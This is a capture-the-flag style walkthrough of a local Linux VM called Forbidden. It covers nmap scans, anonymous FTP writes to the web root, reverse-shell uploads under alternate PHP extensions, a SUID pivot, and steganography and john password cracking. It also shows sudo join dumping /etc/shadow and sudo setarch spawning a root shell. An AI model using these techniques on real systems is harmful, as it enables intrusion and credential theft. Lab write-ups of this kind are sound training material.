This is a Linux machine with FTP and Web service enabled, which leak web root directory for FTP configuration mistake. Additionally, it filters out common extensions for PHP, but not all! (I find php5 could be exploited).

After login with www-data user which is a unprivilege user for web manager, I discover a SUID hidden program which allow me to pivot to another normal user markos. Then I follow the instructions on the webpage(/note.txt) to locate a JPG image. Analysis reveal that it contains a hidden pass.txt file using steganography. Unfortunately, I am wrong from the start - the password is actually the image's name. Then I successfully privot to user marta, who leaves hints for us on web page. Finally, I discover a sudo rule which allow me to leverage LOTL(Live on the land) to read arbitrary files. For get a root shell, then I try to read the ssh key and /etc/shadow of system. Luckily, the shadow is here for me. After crack it with john. I successfully privot to another user, there's also a sudo rule for LOTL, but this time, it allow me to spawn a root shell!

Summary

Scope

  • Name: Forbidden
  • Difficulty: Medium
  • OS: Linux
  • IP: Local VM

Learned

  • There're lots of extensions for a regular PHP file, like (php,php3-5,phtml,pht,phs,etc).
  • Sometimes the answer lies right in plain sight, try the most straightforward approach first.

Enumeration

Nmap

Overall

# Nmap 7.98 scan initiated Tue Mar 10 14:22:59 2026 as: nmap -p- --min-rate 3000 -oN overall 192.168.1.32
Nmap scan report for forbidden (192.168.1.32)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http
MAC Address: 08:00:27:0B:92:30 (Oracle VirtualBox virtual NIC)

# Nmap done at Tue Mar 10 14:22:59 2026 -- 1 IP address (1 host up) scanned in 0.50 seconds

Detail

The FTP anonymous login is enabled.

# Nmap 7.98 scan initiated Tue Mar 10 14:23:15 2026 as: nmap -sC -sV -O -vv -p21,80 -oN detail 192.168.1.32
Nmap scan report for forbidden (192.168.1.32)
Host is up, received arp-response (0.00034s latency).
Scanned at 2026-03-10 14:23:15 CST for 8s

PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 64 vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.1.33
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 0        0            4096 Oct 09  2020 www [NSE: writeable]
80/tcp open  http    syn-ack ttl 64 nginx 1.14.2
|_http-server-header: nginx/1.14.2
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:0B:92:30 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=3/10%OT=21%CT=%CU=32718%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=69AFB8DB%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=109%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 37.689 days (since Sat Jan 31 21:51:02 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Unix

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar 10 14:23:23 2026 -- 1 IP address (1 host up) scanned in 8.21 seconds

UDPScan

# Nmap 7.98 scan initiated Tue Mar 10 14:22:49 2026 as: nmap -sU --top-ports 32 -oN udpscan 192.168.1.32
Nmap scan report for forbidden (192.168.1.32)
Host is up (0.00043s latency).

PORT      STATE         SERVICE
53/udp    closed        domain
67/udp    closed        dhcps
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
111/udp   open|filtered rpcbind
123/udp   closed        ntp
135/udp   closed        msrpc
136/udp   closed        profile
137/udp   open|filtered netbios-ns
138/udp   closed        netbios-dgm
139/udp   open|filtered netbios-ssn
161/udp   closed        snmp
162/udp   closed        snmptrap
445/udp   open|filtered microsoft-ds
500/udp   closed        isakmp
514/udp   closed        syslog
520/udp   closed        route
631/udp   closed        ipp
996/udp   open|filtered vsinet
997/udp   closed        maitrd
998/udp   open|filtered puparp
999/udp   open|filtered applix
1434/udp  open|filtered ms-sql-m
1701/udp  closed        L2TP
1812/udp  open|filtered radius
1900/udp  open|filtered upnp
3283/udp  open|filtered netassistant
4500/udp  open|filtered nat-t-ike
5353/udp  open|filtered zeroconf
49152/udp open|filtered unknown
49153/udp open|filtered unknown
49154/udp open|filtered unknown
MAC Address: 08:00:27:0B:92:30 (Oracle VirtualBox virtual NIC)

# Nmap done at Tue Mar 10 14:23:01 2026 -- 1 IP address (1 host up) scanned in 11.63 seconds

FTP

From the detail scan I know that FTP anonymous login is enabled. Then I discover the web root directory leaks there.

❰curtain❙~/workspace/shooting/hmvm/forbidden❱✔≻ ftp [email protected]
Connected to 192.168.1.32.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 0        113          4096 Oct 09  2020 .
drwxr-xr-x    3 0        113          4096 Oct 09  2020 ..
drwxrwxrwx    2 0        0            4096 Oct 09  2020 www
226 Directory send OK.
ftp> cd www
250 Directory successfully changed.
ftp> ls -al
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    2 0        0            4096 Oct 09  2020 .
drwxr-xr-x    3 0        113          4096 Oct 09  2020 ..
-rwxrwxrwx    1 0        0             241 Oct 09  2020 index.html
-rwxrwxrwx    1 0        0              75 Oct 09  2020 note.txt
-rwxrwxrwx    1 0        0              10 Oct 09  2020 robots.txt
226 Directory send OK.

Web

index.html

<h1>SECURE WEB/FTP<h1>

Hi, Im the best admin of the world.
You cannot execute .php code on this server so you cannot
obtain a reverse shell. Not sure if its misconfigured another things... but
the importart is that php is disabled.

-marta
  • The backend is made by PHP.
  • Couldnot execute php code directly, but there is may a misconfiguration.
  • User name marta.

note.txt

The extra-secured .jpg file contains my password but nobody can obtain it.
  • The password of user marta is stored with a .jpg file.

Foothold

Since the hint says I can't execute php code directly to get a reverse shell. I get that there're lots of extension for a regular php code and I upload them all via FTP service.

ftp> put php-reverse-shell.php3
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5494 bytes sent in 0.0001 seconds (99.4021 Mbytes/s)
ftp> put php-reverse-shell.php4
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5494 bytes sent in 0.0001 seconds (95.6565 Mbytes/s)
ftp> put php-reverse-shell.php5
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5494 bytes sent in 0.0001 seconds (70.2580 Mbytes/s)
ftp> put php-reverse-shell.phs
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5494 bytes sent in 0.0001 seconds (56.1863 Mbytes/s)
ftp> put php-reverse-shell.pht
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5494 bytes sent in 0.0001 seconds (57.7831 Mbytes/s)
ftp> put php-reverse-shell.phtml
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
5494 bytes sent in 0.0001 seconds (53.4931 Mbytes/s)

I try them one by one. Luckily, the php5 extension is not disabled.

Privilege Escalation

System Information

www-data@forbidden:/$ uname -a
uname -a
Linux forbidden 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU/Linux
www-data@forbidden:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@forbidden:/$ crontab -l
crontab -l
no crontab for www-data
www-data@forbidden:/$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:0b:92:30 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.32/24 brd 192.168.1.255 scope global dynamic enp0s3
       valid_lft 85220sec preferred_lft 85220sec
    inet6 2409:8a6c:616:230:a00:27ff:fe0b:9230/64 scope global dynamic mngtmpaddr
       valid_lft 86314sec preferred_lft 86314sec
    inet6 fe80::a00:27ff:fe0b:9230/64 scope link
       valid_lft forever preferred_lft forever
www-data@forbidden:/$ ss -tnlup
ss -tnlup
Netid   State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port                                                                   
udp     UNCONN   0        0                0.0.0.0:68            0.0.0.0:*                                                                      
tcp     LISTEN   0        128              0.0.0.0:80            0.0.0.0:*       users:(("nginx",pid=398,fd=6))                                 
tcp     LISTEN   0        128                 [::]:80               [::]:*       users:(("nginx",pid=398,fd=7))                                 
tcp     LISTEN   0        32                     *:21                  *:*                                                                      
www-data@forbidden:/$ find / -mount -perm -u=s 2>/dev/null
find / -mount -perm -u=s 2>/dev/null
/home/marta/.forbidden
/usr/bin/mount
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/su
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign

www-data -> markos

The SUID hidden file which called .forbidden catches my eyes first. I analysis it with IDA, it does following thing.

int main() {
    setuid(1001);
    setgid(1001);
    system("/bin/bash");
    return 0;
}

Yeah, I can privot to user 1001 (markos).

markos -> marta

There're no more interesting things I can get from user markos after take a close look at his home. Then I remember that user marta hint me his password is stored with a jpg file.

markos@forbidden:/home/marta$ find / -type f -name '*.jpg' 2>/dev/null
/var/www/html/TOPSECRETIMAGE.jpg

First I strings with it to take a look at strings of that file.

❰curtain❙~/workspace/shooting/hmvm/forbidden❱✔≻ strings -n 7 TOPSECRETIMAGE.jpg
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
#,#bH8<rA
,I,*)]bV
|]}ume}}g!
X7\j>/x
P]z->-N5
}Vm2Tk[
VA.Qcla
}KM];XBd
J[iZsKw
rp=8AEX
Z"Y]I$k
;^[_E<v
JV[EeT{h
[;3Ge$p
Gfs21%C
@7r2pAV
?.08<T2
Y5}S\7Z|
Wi,p#7P
umn.>Xarm
=YZ9n5[

The exiftool also give nothing clues, then I wonder if there might be steganography?

❰curtain❙~/workspace/shooting/hmvm/forbidden❱✔≻ stegseek TOPSECRETIMAGE.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "portugal"
[i] Original filename: "pass.zip".
[i] Extracting to "TOPSECRETIMAGE.jpg.out".

But the pass.zip also need a password to extract. I crack it with john and get the password secret.

❰curtain❙~/workspace/shooting/hmvm/forbidden❱✔≻ john --wordlist=/usr/share/wordlists/rockyou.txt ziphash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 16 OpenMP threads
Note: Passwords longer than 21 [worst case UTF-8] to 63 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
secret           (TOPSECRETIMAGE.jpg.out/pass.txt)
1g 0:00:00:00 DONE (2026-03-10 15:13) 100.0g/s 3276Kp/s 3276Kc/s 3276KC/s 123456..dyesebel
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Unfortunately, none of these passwords are correct for marta. Then I noticed that filename of this image seems somewhat suggestive. Then I successfully login with that password!

markos@forbidden:/home/marta$ su - marta
su - marta
Password: TOPSECRETIMAGE

marta -> peter

I find a interesting sudo rule there.

marta@forbidden:~$ sudo -l
Matching Defaults entries for marta on forbidden:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User marta may run the following commands on forbidden:
    (ALL : ALL) NOPASSWD: /usr/bin/join

And the GTFBins says it allow me to read arbitrary files. Here I can read out the root.txt directly. but I want to get a interactive root shell instead. So I try root's ssh key and /etc/shadow. The former doesn't exist! So I get some hash of users.

marta@forbidden:~$ sudo join -a 2 /dev/null /etc/shadow
root:$6$8nU2FdqnxRtT9mWF$9q7El.D7BDrlzNyYYPNqjTcwsQEsC7utrzszLgbe9V.3KqYSfx2XgqjIEeToP41TJTiZQOGVsdCzIAYHw5O.51:18544:0:99999:7:::
daemon:*:18544:0:99999:7:::
bin:*:18544:0:99999:7:::
sys:*:18544:0:99999:7:::
sync:*:18544:0:99999:7:::
games:*:18544:0:99999:7:::
man:*:18544:0:99999:7:::
lp:*:18544:0:99999:7:::
mail:*:18544:0:99999:7:::
news:*:18544:0:99999:7:::
uucp:*:18544:0:99999:7:::
proxy:*:18544:0:99999:7:::
www-data:*:18544:0:99999:7:::
backup:*:18544:0:99999:7:::
list:*:18544:0:99999:7:::
irc:*:18544:0:99999:7:::
gnats:*:18544:0:99999:7:::
nobody:*:18544:0:99999:7:::
_apt:*:18544:0:99999:7:::
systemd-timesync:*:18544:0:99999:7:::
systemd-network:*:18544:0:99999:7:::
systemd-resolve:*:18544:0:99999:7:::
messagebus:*:18544:0:99999:7:::
marta:$6$h.4ZF5esZ/N1OIcu$8vL1D3iM6iuhniSG8nIz0582atbIV6y/UBl0eks1.Wrd51BqLK8Wqt91WXg0Y2mrdNY4luPQkqUWXFXWxLVwe/:18544:0:99999:7:::
systemd-coredump:!!:18544::::::
ftp:*:18544:0:99999:7:::
sshd:*:18544:0:99999:7:::
markos:$6$PTerrFpyfOmkM5Xi$oo8gNZyyxsZbKhOIXrm2w/x.Xvhdr7Ny/4JgLDRLRAxAwEwGtH2kD7PjzeloAstqCPq/KKrqrPioMM8vwWbqZ.:18544:0:99999:7:::
peter:$6$QAeWH9Et9PAJdYz/$/4VhburW9KoVTRY1Ry63wNEfr4rxwQGaRJ3kKW2nEAk0LcqjqZjy/m5rtaCi3VebNu7AaGFhQT4FBgbQVIyq81:18544:0:99999:7:::

Boom! I get the password of peter with join quickly!

❰curtain❙~/workspace/shooting/hmvm/forbidden❱✔≻ john --wordlist=/usr/share/wordlists/rockyou.txt shadow_hash
Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl"
Use the "--format=sha512crypt-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 4 password hashes with 4 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 OpenMP threads
Note: Passwords longer than 26 [worst case UTF-8] to 79 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
boomer           (peter)
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

setarch -> root shell

There is also a sudo rule for exploiting.

peter@forbidden:~$ sudo -l
Matching Defaults entries for peter on forbidden:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User peter may run the following commands on forbidden:
    (ALL : ALL) NOPASSWD: /usr/bin/setarch

Follow the LOTL of setarch will get a root shell!

peter@forbidden:~$ sudo setarch -3 /bin/bash
sudo setarch -3 /bin/bash
root@forbidden:/home/peter# id
id
uid=0(root) gid=0(root) groups=0(root)